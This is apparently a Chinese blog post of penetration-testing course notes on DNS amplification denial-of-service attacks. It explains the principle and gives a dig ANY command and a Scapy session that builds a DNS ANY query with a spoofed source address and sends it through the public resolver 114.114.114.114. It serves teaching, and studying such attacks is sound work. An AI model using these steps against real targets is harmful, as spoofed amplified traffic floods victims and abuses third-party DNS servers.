Kali Linux渗透测试 129 拒绝服务--DNS 放大攻击

本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试(苑房弘)博客记录

1. 简介

  • 产生大流量的攻击方法

    • 单机的带宽优势
    • 巨大单机数量形成的流量汇聚
    • 利用协议特性实现放大效果的流量
  • DNS协议放大效果

    • 查询请求流量小,但响应流量可能非常巨大
    • dig ANY hp.com @202 106.0.20 (流量放大约8倍)
  • 攻击原理

    • 伪造源地址为被攻击目标地址,向递归域名查询服务器发起查询
    • DNS服务器成为流量放大和实施攻击者,大量DNS服务器实现DDOS

2. 攻击

root@kali:~# dig any baidu.com @114.114.114.114

发送60字节长度,返回216字节长度

3.Scapy 构造攻击数据包原理

  • IP/UDP/DNS/DNS 查询内容

  • 结合IP地址欺骗,利用大量 DNS 服务器做傀儡攻击目标

4. 构造数据包过程

  1. 构造 IP 数据包

    >>> i=IP()
    >>> i.display()
    

    >>> i.dst="114.114.114.114"
    >>> i.display()
    

  2. 构造 UDP 数据包

    >>> u=UDP()
    >>> u.display()
    

  3. 构造 DNS 数据包

    >>> d=DNS()
    >>> d.display()
    

    >>> d.rd=1
    >>> d.qdcount=1
    >>> d.display()
    

  4. 设置查询目标

    >>> q=DNSQR()
    >>> q.display()
    

    >>> q.qname='qq.com'
    >>> q.qtype=255   #(代表any)
    

    >>> d.qd=q   # 设置目标
    >>> d.display()
    

  5. 拼接数据包

    >>> r=(i/u/d)
    >>> r
    

    >>> r.display()
    >>> sr1(r)
    

    >>> i.src="10.10.10.141"
    >>> r=(i/u/d)
    >>> r.display()
    
  6. 发送数据包

    >>> send(r)
    

    发送 60 字节的数据包,返回 230 字节的数据包

你可能感兴趣的:(kali-linux)